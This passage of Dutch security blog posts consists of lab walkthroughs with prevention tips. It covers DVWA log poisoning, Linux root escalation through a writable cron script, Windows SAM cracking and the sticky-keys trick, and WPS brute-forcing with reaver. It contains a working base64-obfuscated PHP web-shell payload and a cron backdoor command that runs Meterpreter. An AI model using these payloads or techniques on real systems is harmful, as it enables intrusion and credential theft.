<?php eval(base64_decode('ZndyaXRlKGZvcGVuKCcvdmFyL3d3dy9kdndhL3NoZWxsLnBocCcsICd3JyksICc8P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7aWYoJF9TRVJWRVJbXCdSRU1PVEVfQUREUlwnXT09XCcxOTIuMTY4LjEuMjAyXCcpeyRoZT1odG1sZW50aXRpZXM7JGZvPSI8Zm9ybSBtZXRob2Q9cG9zdCAiOyRpdD0iIDxpbnB1dCB0eXBlPSI7ZWNobyRmby4iZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPiIuJGl0LiJmaWxlIG5hbWU9Zj4gVG86ICIuJGl0LiJ0ZXh0IG5hbWU9bCB2YWx1ZT1cJyIuJGhlKHN0cl9yZXBsYWNlKFwnXFxcXFwnLFwnL1wnLGdldGN3ZCgpKSkuIlwnPiIuJGl0LiJzdWJtaXQgdmFsdWU9VXA+IjskZnM9JF9GSUxFU1tcJ2ZcJ107aWYgKGlzc2V0KCRmcykpe21vdmVfdXBsb2FkZWRfZmlsZSgkZnNbXCd0bXBfbmFtZVwnXSwkX1BPU1RbXCdsXCddLlwnL1wnLiRmc1tcJ25hbWVcJ10pO2VjaG8iIFVwcGVkISI7fSRnYz0kX1BPU1RbXCdjXCddO2VjaG8iPC9mb3JtPiIuJGZvLiI+Ii4kaXQuInRleHQgbmFtZT1jIHZhbHVlPVwnIi4kaGUoJGdjKS4iXCc+Ii4kaXQuInN1Ym1pdCB2YWx1ZT1FeGVjdXRlPiI7aWYoaXNzZXQoJGdjKSl7ZWNobyI8cHJlPiIuJGhlKGAkZ2MgMj4mMWApLiI8L3ByZT4iO319Pz4nKTs=')); ?>


Dit prakken we in de "User-Agent" header:
https://dl.dropbox.com/u/7521450/blog/chpwn/user-agent.png

En we voeren de code uit door weer de pagina "http://dvwa/vulnerabilities/fi/?page=/var/log/apache2/other_vhosts_access.log" te bezoeken. Hierna surfen we naar website/shell.php en aanschouw:
https://dl.dropbox.com/u/7521450/blog/chpwn/shell_ubt.png

Vanaf hier kunnen we weer hetzelfde truukje uithalen om een shell op het systeem te krijgen (executable genereren, handler starten, executable uitvoeren). Het enige probleem is dat Ubuntu standaard net iets veiliger is:
https://dl.dropbox.com/u/7521450/blog/chpwn/session_unix.png

Zoals je ziet kunnen we hier alleen commando's uitvoeren onder de beperkte user "www-data", dus kunnen we nog niet echt spannende dingen doen, toch?

Mensen met veel punten voor het geheugen gedeelte van de IQ test 2013 voelen nu een klein lichtje opkomen. Tijdens het installeren van Newznab heb je namelijk de gebruiker "www-data" eigenaar gemaakt van alle bestanden. Dat houdt in dat deze gebruiker die bestanden ook kan uitvoeren.

Als je dan ook nog eens weet dat voor het correct functioneren van Newznab, er automatisch om de zoveel tijd een PHP scriptje gerund moet worden, ga je al automatisch in de "crontab" (de Linux taakplanner) kijken:
https://dl.dropbox.com/u/7521450/blog/chpwn/crontab.png

Het belangrijke staat hier omcirkeld. In gewone mensentaal staat daar dat elke 10 minuten de gebruiker 'root' het php script 'update_binaries.php' draait. Het goede nieuws voor ons is dat dit bestandje in de Newznab map staat, en dat de gebruiker 'www-data' hier eigenaar van is. Dus we gooien het volgende commando los:

mv /var/www/newznab/misc/update_scripts/update_binaries.php /var/www/newznab/misc/update_scripts/update_binaries_old.php && echo '<?php `/var/www/dvwa/meterpreter.bin`; include "/var/www/newznab/misc/update_scripts/update_binaries_old.php" ?>' > /var/www/newznab/misc/update_scripts/update_binaries.php


https://dl.dropbox.com/u/7521450/blog/chpwn/update_binaries.png

Wat dit commando doet is het oude 'update_binaries.php' kopiŽren naar 'update_binaries_old.php'. Vervolgens wordt er in het bestand 'update_binaries.php' een commando gezet om onze gegenereerde executable uit te voeren, en vervolgens (om geen argwaan te wekken) het bestand 'update_binaries_old.php' uit te voeren. And now we wait.. Tot ongeveer 10 minuten later:

https://dl.dropbox.com/u/7521450/blog/chpwn/Session4.png

En, omdat het bestand gestart wordt als de gebruiker 'root':

https://dl.dropbox.com/u/7521450/blog/chpwn/root.png

Root!

Voorkomen

Windows:
  • Draai Apache, MySQL, etc als een aparte gebruiker.
  • Geef deze gebruiker zo weinig mogelijk rechten.
  • Optioneel: Blokkeer zoveel mogelijk uitgaande verbindingen.
Linux:
  • Maak de webuser niet de eigenaar van de webroot.
  • Zet de bestandsrechten zo strak mogelijk. Geef alleen schrijfrechten waar strikt noodzakelijk.
  • Optioneel: Blokkeer zoveel mogelijk uitgaande verbindingen.
  • Optioneel: Draai elke website als een andere user.
Oh, en tot slot, even een notitie voor de nginx gebruikers. Tijdens het testen heb ik ook even naar newznab zelf gekeken. Het bleek dat onder Apache alle bestanden waar gebruikers niets te zoeken hebben netjes afgeschermd zijn met een '.htaccess' file. Nginx negeert deze bestanden echter compleet, dus het is wel even de moeite waard om hier in de config even regels voor te fabriceren :).

Beperkt houdbaar

Door Slurpgeit op woensdag 23 januari 2013 22:57 - Reacties (40)
Categorie: -, Views: 8.791

Om maar even met de deur in huis te vallen, dit wordt een klein stukje over Windows, en hoe je van een account met beperkte rechten naar Administrator kan (Of, mocht je op een domein zitten, Domain Administrator, yay!). En nee, dit is niet om je te leren computers over te nemen, maar juist wat je moet doen om het te voorkomen ;).

Voor dit verhaal heb ik een Windows 7 VM gemaakt, met de standaardgebruiker "Henk":

https://dl.dropbox.com/u/7521450/blog/beperkt/henk.png

Henk wil graag administrator worden, anders kan hij SuperSexyCelebsNudeScreensaver.zip.png.scr.exe niet installeren, en dat zou toch jammer zijn. Er zijn meerdere manieren waarop hij dat kan doen.

Wachtwoorden kraken
Henk is niet helemaal vreemd met computers, en heeft ook wel wat ervaring met Linux. Ondanks dat zijn account enkel beperkte rechten heeft, kan hij de computer wel gewoon met een Live-CD van Ubuntu opstarten. En dat doet hij dan ook.

Als de computer eenmaal opgestart is, kopiŽert hij de volgende bestanden even naar een tijdelijke locatie (In vaktermen, /tmp):
  • C:\Windows\System32\Config\SAM
  • C:\Windows\System32\Config\SYSTEM
https://dl.dropbox.com/u/7521450/blog/beperkt/sam_system.png

Waarom? Omdat alle wachtwoorden voor de gebruikersaccounts in het SAM-bestand staan. Om deze uit te kunnen lezen heb je ook wat info uit het SYSTEM bestand nodig. Hiervoor heb je meerdere tooltjes, maar Henk gebruikt het gratis te verkrijgen creddump. Even uitpakken (En wellicht apt-get install python-crypto), en draaien met:

./pwdump.py /tmp/SYSTEM /tmp/SAM


En woei, hashes (Het wachtwoord in versleutelde vorm):

https://dl.dropbox.com/u/7521450/blog/beperkt/hashes.png

Het formaat in dit geval is:
Gebruikersnaam:User ID:LM Hash:NTLM Hash
Wat even belangrijk is om te weten, is dat een LM hash van aad3b435b51404eeaad3b435b51404ee, of een NTLM hash van c7f06f0db9d571cf0f4408b777af3616 ook wel bekend staat als leeg, niks, noppes nada. Zoals hier te zien is, heeft alleen Henk zijn wachtwoord opgeslagen in LM formaat. Dat is voor Henk heel slecht, maar voor iemand die zijn wachtwoord wil kraken heel, heel goed. Waarom, dat wordt ietwat veel om in dit verhaal uit te leggen, maar als je zin hebt: LM hash - Wikipedia.

Wat je voor dit verhaal moet weten, is dat LM hashes onwijs makkelijk te kraken zijn, en dat NTLM een stuk veiliger is. Ook staat het opslaan van LM hashes standaard uit vanaf Windows Vista. Toch zijn er bedrijven / systeembeheerders die dit nog gebruiken. Dus, herken jij jezelf in dit profiel? Soliciteer nu! Doe eens niet!.

Kraaktijd! De eerste poging is een gewone brute-force aanval met John the Ripper:

https://dl.dropbox.com/u/7521450/blog/beperkt/john.png
(De commandline spreekt voor zich in dit geval denk ik, kraak de LM hash in "/tmp/hash_van_henk" met john)

Vanwege de manier waarop LM hashing werkt, wordt het wachtwoord in twee delen gekraakt, en is de uitkomst altijd uppercase. Dus aan elkaar geplakt komt er een wachtwoord uit van W4CHTW00RDH3NK.

Helaas gaat Windows dat niet accepteren. Maar we kunnen dit wachtwoord wel gebruiken voor een aanval op het NTLM gedeelte van de hash. Het reeds achterhaalde wachtwoord zetten we in /tmp/wordlist, en voeren nog een aanval met John uit:

https://dl.dropbox.com/u/7521450/blog/beperkt/john_ntlm.png

Wat je hier ziet is John die de NTLM hash probeert te kraken met "W4CHTW00RDH3NK" als enige woord. --rules zorgt ervoor dat er enkele regels toegepast worden, waaronder het vervangen van hoofdletters met kleinere letters.

Dit hele proces neemt al snel 15 minuten of meer in beslag, en zoveel geduld opbrengen is lastig. Gelukkig hebben we de foto's rainbow tables nog! Wat rainbow tables precies zijn ga ik wederom niet uitleggen, maar mocht je het echt heel heel heel heul heul graag willen weten, zie dan hier. Het enige wat je nu moet weten, is dat het kraken van LM hashes met rainbow tables echt retesnel is. De tool in dit geval is rcracki_mt, en de command line is als volgt:

./rcracki_mt -f /tmp/hash_van_henk -t 4 /storage/RT/LM/lm_all-space#1-7_0/*
  • ./rcracki_mt - Programma
  • -f /tmp/hash_van_henk - De te kraken hash
  • -t 4 - Gebruik 4 threads (Is die dure CPU toch nog ergens goed voor)
  • ./rcracki_mt -f /tmp/hash_van_henk -t 4 /storage/RT/LM/lm_all-space#1-7_0/* - Gebruik alle tables in de map lm_all-space#1-7_0
Deze set rainbow tables bestaat uit:
  • lm_all-space#1-7_0
  • lm_all-space#1-7_1
  • lm_all-space#1-7_2
  • lm_all-space#1-7_3
Het pakketje is in totaal 34GB, en is gratis te downloaden. Leuk feitje is dat met deze tables de kans van kraken van een LM hash 99,9% is. En het is dan ook erg snel gedaan met het wachtwoord van Henk:

https://dl.dropbox.com/u/7521450/blog/beperkt/rcracki.png

Kijk, dat zien we graag. Klaar in minder dan een halve minuut, en rcracki_mt heeft zelf al uitgezocht hoe het zit met hoofdletters. Remember kids, a lazy hacker is a good hacker.

Helaas voor Henk, is het wachtwoord van MrAdmin niet in LM hash opgeslagen, en met je z'n eigen gekraakte wachtwoord kan hij niet zo veel (Maar het is wel verdomd handig voor dit verhaal). Hij kan de NTLM variant wel proberen te kraken, maar dat gaat waarschijnlijk aanzienlijker langer duren, dus tijd voor een ander truukje.

Sticky Keys
Ken je dat? Ben je lekker aan het gamen, krijg je opeens een piepje uit de krochten van de hel en / of pc-speaker, en dit venstertje gooit je game naar de taakbalk:

https://dl.dropbox.com/u/7521450/blog/beperkt/stickeykeys.png

Wat blijkt, na 5 keer op de shift toets drukken komt dit omhoog. Als je dat doet, opent Windows het programma C:\Windows\System32\sethc.exe, ook voordat een gebruiker ingelogd is, op het aanmeldscherm.

Omdat Henk toch nog in een Linux omgeving is, heeft hij niks met Windows permissions te maken, en kan hij gewoon het volgende doen:

https://dl.dropbox.com/u/7521450/blog/beperkt/sethc.png

Oftewel: verplaats sethc.exe naar sethc.exe.bak, en kopiŽer cmd.exe naar sethc.exe. Henk herstart de PC, en drukt bij het inlogscherm 5 keer op shift:

https://dl.dropbox.com/u/7521450/blog/beperkt/sethc_system.png

W00t! Een shell, op het inlogscherm, als NT AUTHORITY\SYSTEM (Hogere rechten bestaan niet op een Windows systeem). Zou ik explorer kunnen starten?:

https://dl.dropbox.com/u/7521450/blog/beperkt/explorer_starting.png

https://dl.dropbox.com/u/7521450/blog/beperkt/explorer_started.png

Hmm, een beetje vreemd, maar wel lekker. Een desktopomgeving in je aanmeldscherm! Maar, genoeg gespeeld, tijd voor de climax:

https://dl.dropbox.com/u/7521450/blog/beperkt/henk_admin.png

https://dl.dropbox.com/u/7521450/blog/beperkt/henk_admin_2.png

Profit! Henk is lid van de Administrator groep, en kan eindelijk zijn nieuwe screensaver installeren. Ook heeft Henk nu wat meer mogelijkheden om alsnog achter het wachtwoord van MrAdmin te komen.

Hij wacht tot MrAdmin een keer inlogt op de pc, en zich niet goed afmeld. Dan pakt Henk de onwijs handige tool wce. Wat kan WCE? Nou, dit:

https://dl.dropbox.com/u/7521450/blog/beperkt/wce.png

Ja, je ziet het goed. Zolang een gebruiker ingelogd is, of zolang er een service draait als een bepaalde gebruiker, kan WCE het wachtwoord plaintext uit het geheugen vissen. Oůk als het gaat om gebruikers in een Windows domein (Dus, Admins op Terminal Servers, niet doen hŤ?).

Kan dat niet makkelijker?
Ja hoor, veel makkelijker, er bestaat namelijk iets als kon-boot. Is niet gratis, maar wel very much handig. Want zodra je van de kon-boot cd opstart, kan je in alle accounts op de computer inloggen zonder een wachtwoord in te voeren, en wordt het sticky keys truukje van hierboven automatisch toegepast:



Maar ik kan helemaal niet van CD starten, maar onze beheerder heeft de computers wel zo ingesteld dat ze via PXE boot een image kunnen downloaden
Nou, dat maakt het nog een stukje makkelijker. De populaire tool Metasploit heeft hier namelijk een prachtige module voor:

https://dl.dropbox.com/u/7521450/blog/beperkt/pxexploit.png

Wat dit doet? Het start een eigen PXE server, een computer start er automatisch van op en er wordt een gebruiker "metasploit" toegevoegd, en lid gemaakt van de Administrator groep. Ook zet het een eventuele firewall uit, en installeert het een service waar metasploit naar kan verbinden om Meterpreter te starten op de machine (Een soort shell++, mocht je er meer over willen weten, even googlen ;)).

Wat in actie screenshots dan, voor die techneuten die nu nog steeds benieuwd zijn:

https://dl.dropbox.com/u/7521450/blog/beperkt/pxerun.png

https://dl.dropbox.com/u/7521450/blog/beperkt/pxedhcp.png

https://dl.dropbox.com/u/7521450/blog/beperkt/pxeattack.png

https://dl.dropbox.com/u/7521450/blog/beperkt/pxe2.png

https://dl.dropbox.com/u/7521450/blog/beperkt/pxe3.png

Dat allemaal automagisch, et voilŠ:

https://dl.dropbox.com/u/7521450/blog/beperkt/metasploituser.png

Hoe makkelijk wil je het hebben :Y).

Eek! (Tuuunununununuuu) Hoe voorkom ik dit?
  • Zorg (voor oudere operating systems en domeinen) dat het gebruik van LM hashes uit staat
  • Zet een wachtwoord op je BIOS.
  • Zorg dat het eerste boot device je HDD is.
  • Zorg eventueel voor disk encryptie
  • Don't be an idiot ;)

Wifileaks Pt. II

Door Slurpgeit op donderdag 03 januari 2013 20:20 - Reacties (50)
Categorie: -, Views: 12.077

Eigenlijk was ik al een hele tijd van plan dit blogje te schrijven, naar aanleiding van een comment op mijn vorige blog. Toen zag ik vandaag opeens dat de Consumentenbond mij al voor was. WTF! Oh well, dan heb ik nu wat extra draagvlak :).

Voor de technische voodoo begint, een kleine, maar nodige inleiding naar de wondere wereld van WPS. Het is ooit verzonnen om het makkelijk te maken nieuwe apparaten toe te voegen aan een netwerk met een onwijs lang WiFi wachtwoord, zonder dat elke keer in te hoeven tikken. Hiervoor zijn twee oplossingen bedacht.

De knop
Bij deze oplossing is het de bedoeling dat je een apparaat vraagt verbinding te maken met het netwerk, en als het apparaat het je hťťťťl lief vraagt, of je dan alsje- alsje- alsjeblieft de knop op je router of accesspoint wil indrukken. Op de Linksys router die ik voor dit verhaaltje gebruik ziet die knop er zo uit:

https://dl.dropbox.com/u/7521450/blog/wps/button.png

In principe is dit gewoon "veilig". Iemand die daar misbruik van wil maken moet namelijk al in je huiskamer staan, en dan heb je grotere kopzorgen dan je draadloze netwerk ;).

De PIN
Hier wordt het lachen geblazen. De tweede oplossing is namelijk het invoeren van de pincode die onderop je router / accesspoint staat, in het apparaat wat je wil verbinden. Een soort vervanging van je super lange wifi wachtwoord dus. Onderop mijn Linksys zit dan ook de volgende sticker:

https://dl.dropbox.com/u/7521450/blog/wps/pin.jpg

Okť, super. Acht karakters, dat is dus 10x10x10x10x10x10x10x10 (Of 10^8 voor jullie wiskundefreaks) = 100.000.000 combinaties. Uit ervaring kan ik je vertellen dat in een real-life situatie, het brute forcen van de PIN je ongeveer 4 seconden van je leven kost, per poging. Dat komt uit op een bruto van 12,7 jaar. Niet echt de moeite.

Toen dacht iemand bij de implementatie, dit kan handiger. In plaats van gewoon alle acht getallen goed of fout keuren bij een transactie, krijg je een andere reactie terug van het accespoint of de router als de eerste 4 karakters fout zijn, dan als dat deze juist zijn. Daarmee wordt het aantal pogingen al 10x10x10x10 + 10x10x10x10 (10^4 + 10^4) = 20.000 pogingen.

Maar, dat was nog niet handig genoeg. Het laatste getal van de 8 is geen willekeurig getal, maar een checksum van de eerste 7. Hoe deze berekend wordt is voor jullie als aanvaller niet heel belangrijk, maar deze is dus te berekenen aan de hand van de eerste 7 karakters. Klinkt ingewikkeld, maar kijk even mee lieve kijkbuiskinders. De uiteindelijke formule voor het maximaal aantal pogingen (van 00000000 - 99999999) wordt dus 10x10x10x10 + 10x10x10 (10^4 + 10^3, het laatste getal van de 8 is namelijk voor elke combinatie te berekenen.) = 11.000.

Dat zijn zo'n 99.989.000 benodigde pogingen minder die nodig zijn om de juiste PIN te vinden. In tijd uitgedrukt wordt dat in plaats van 12,7 jaar, bij 4 seconden per pin, zo'n 12,2 uur. Dat is een aardig verschil, en gewoon in ťťn dag te doen. Als je dan ook nog eens een net iets betere WiFi stick / antenne regelt, kan je de tijd bijna halveren naar 2 seconden per pin (6 uur). En dat is om van 00000000 naar 99999999 te gaan. Dus als jouw pincode 12344321 is, ben je aardig snel de spreekwoordelijke Sjaak.

Is het dan echt zo erg?
Ondertussen is het wel bekend dat ik een groot fan van plaatjes ben, dus dit is een screenshot van alle accesspoints die ik kan ontvangen, waar WPS ingeschakeld staat (Gemaakt met een tooltje genaamd "Wash", later meer daarover):

https://dl.dropbox.com/u/7521450/blog/wps/wash.png

Of tenminste, dit is wat er op mijn scherm paste, de lijst gaat nog door. Al deze netwerken zijn met 95% zekerheid kwetsbaar voor deze aanval. Het enige belangrijke punt is dat het bereik goed genoeg is voor de WPS transacties.

Voor de tweakers onder ons, in Wireshark ziet een accesspoint met WPS ingeschakeld er zo uit:

https://dl.dropbox.com/u/7521450/blog/wps/wps_wireshark.png

Oke, en dan?
Enter reaver-wps. Een tooltje speciaal gemaakt om deze aanval uit te voeren. Gebundeld met reaver-wps is een tooltje genaamd "Wash", wat kan scannen naar netwerken met WPS ingeschakeld.

Voor deze demo heb ik zelf een Linksys E3000 ingesteld als accesspoint, met de laatste standaard firmware (Versie 1.0.0.4), netwerknaam "Henk" (Omdat waarom niet?). Die kan je in het screenshot hierboven ook terug vinden. Vervolgens gooi ik het volgende commando in mijn Ubuntu terminal:

reaver -b 00:25:9C:**:**:** -c 11 -vv --dh-small --no-nacks -i mon0


Huh, wasda?
  • reaver - Naam van het programma
  • -b 00:25:9C:**:**:** - MAC Adres van het accesspoint (Gewoon te zien in tooltjes als Wash en airodump-ng, geanonimiseerd voor dit verhaal ;))
  • -c 11 - Het kanaal van het accesspoint, in dit geval 11. Deze optie is niet nodig, maar kan de aanval wat versnellen als het accesspoint toch niet automatisch van kanaal wisselt.
  • -vv - Geef me meer output! Ik wil zoveel mogelijk info terugzien.
  • --dh-small - Gebruik een kleinere Diffie–Hellman key om de transactie te versleutelen. Verlaagt de CPU load op het aan te vallen accesspoint en verhoog de snelheid van de aanval
  • --no-nacks - Stuur geen NACK pakketje terug als de volgorde van de pakketjes door elkaar loopt. Niet echt spannend om de precieze betekenis te weten, als je maar onthoud dat sommige accesspoints met deze optie veel sneller aangevallen kunnen worden.
  • -i mon0 - De WiFi interface om te gebruiken voor de aanval, in mijn geval mon0.
Dan krijg je het volgende te zien:

https://dl.dropbox.com/u/7521450/blog/wps/part1.png

Het belangrijke gedeelte heb ik hier even omcirkeld. Wat je hier ziet is dat na de "M4 Message" het accesspoint een "WSC Nack" terug stuurt. Wat dat is, is niet heel belangrijk, maar onthou even dat dat nu na M4 komt.

Na een paar uur proberen, gaat reaver uiteindelijk de eerste 4 cijfers goed raden. Dan ziet de uitkomst er opeens zo uit:

https://dl.dropbox.com/u/7521450/blog/wps/part2.png

De oplettende lezer heeft het natuurlijk allang gezien, maar er is iets anders. Waar de "WSC Nack" net al na de "M4 Message" kwam, komt hij nu pas na de "M6 message". Hieraan is te zien of de eerste 4 cijfers van de PIN kloppen of niet.

Op dit punt zal het percentage van reaver naar 90% springen, en gaat hij proberen de rest goed te raden. Uiteindelijk worden alle 8 cijfers goed geraden en krijg je dit te zien:

https://dl.dropbox.com/u/7521450/blog/wps/part3.png

De "M" messages lopen door tot 7, en het accesspoint geeft netjes de WPA sleutel af. Om Po maar eens te quoten: "Uh-oh".

Wat kan je nu dan?
Het eerste wat je te binnen schiet is natuurlijk gewoon aanmelden op dat netwerk. Maar ja, dan wat? Uit m'n hoofd, dit:
  • Scannen in het netwerk om te kijken of er kwetsbare computers zijn om op in te breken.
  • Dingen als ARP Spoofing gaan inzetten om al het verkeer om te leiden en af te luisteren.
  • DHCP Instellingen aanpassen om al het verkeer via je eigen router te laten lopen.
  • DNS Servers aanpassen naar eigen beheerde DNS servers.
  • Etc.
De mogelijkheden zijn op dit moment al redelijk uitgebreid. Maar je hoeft niet eens inloggen om schade aan te richten. Je hebt nu de WPA(2) sleutel, dus je kunt ook gewoon passief al het verkeer tussen dat accesspoints en de clients opslaan, en later ontsleutelen met de WPA(2) sleutel. Wireshark heeft hier bijvoorbeeld gewoon een optie voor.

Best een serieus lek dus, en al relatief oud. Ik heb er zelfs een jaar geleden al over geschreven. Maar het blijkt nog steeds onwijs makkelijk te misbruiken.

Boeiend, ik heb het uit staan.
Zeker weten? Bij oudere Linksys modellen (<e4200, en zelfs daar pas vanaf een nieuwere firmware), zijn de enige opties:

https://dl.dropbox.com/u/7521450/blog/wps/wps.png

en

https://dl.dropbox.com/u/7521450/blog/wps/manual.png

Je zou denken dat WPS bij optie twee uit staat, toch? Niet dus. Ik kan m'n aanval nog steeds draaien, en zelfs mijn telefoon weet me te vertellen dat WPS beschikbaar is:

https://dl.dropbox.com/u/7521450/blog/wps/android.png

Maar ik gebruik MAC Filtering op mijn netwerk, en mijn SSID is verborgen, dus puh
Tja, dan zet ik airodump-ng een minuutje aan en zie ik welke clients er met jouw netwerk verbinden.

Dan weet ik welk MAC adres in ieder geval toegestaan is, en die client stuurt ook nog eens jouw netwerknaam mee zodat ik die ook gelijk weet. Vervolgens is een MAC adres veranderen onder linux een kwestie van 1 commando ( macchanger --mac 00:11:22:33:44:55, mocht je het willen weten ;))

Argh, wat moet ik doen dan
Tja, je kŠn wachten tot de fabrikant een nieuwe firmware uitbrengt waar WPS helemaal uit kan, maar de echte tweaker zet natuurlijk gewoon een custom firmware op de router waar WPS helemaal niet in zit. Verder, hopen en bidden dat je provider het snel voor je oplost. Want op dit moment staat je draadloze netwerk gewoon zo goed als compleet open, ook met MAC filtering en een hidden SSID.